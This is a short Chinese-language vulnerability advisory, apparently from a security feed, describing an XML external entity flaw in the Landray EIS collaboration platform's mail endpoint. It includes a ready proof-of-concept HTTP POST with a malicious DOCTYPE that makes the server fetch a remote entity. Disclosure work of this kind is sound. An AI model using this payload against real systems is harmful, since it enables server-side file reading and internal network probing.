蓝凌EIS智慧协同平台 /mail/mail_server.aspx/mail_xml XML 外部实体注入漏洞

2025-12-12 蓝凌EIS智慧协同平台 PoC Public

Description

蓝凌EIS智慧协同平台的 /mail/mail_server.aspx/mail_XML 接口存在XML外部实体注入（XXE）漏洞。该接口在处理XML格式请求时，未对XML内容进行严格的安全校验，允许攻击者注入包含外部实体引用的恶意XML代码。攻击者可构造包含DNSlog地址的恶意XML payload，诱导服务器解析并访问指定DNSlog服务器，通过DNSlog记录验证漏洞存在。该漏洞可能导致服务器本地敏感文件读取、内部网络探测、敏感信息泄露等严重安全风险。

PoC

POST /mail/mail_server.aspx/mail_xml?type=add HTTP/1.1
Host: 
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 81
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://127.0.0.1/test.xml"> %remote;]>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Landray EIS Collaborative Platform /mail/mail_server.aspx/mail_xml XML External Entity Injection Vulnerability

References

Related Vulnerabilities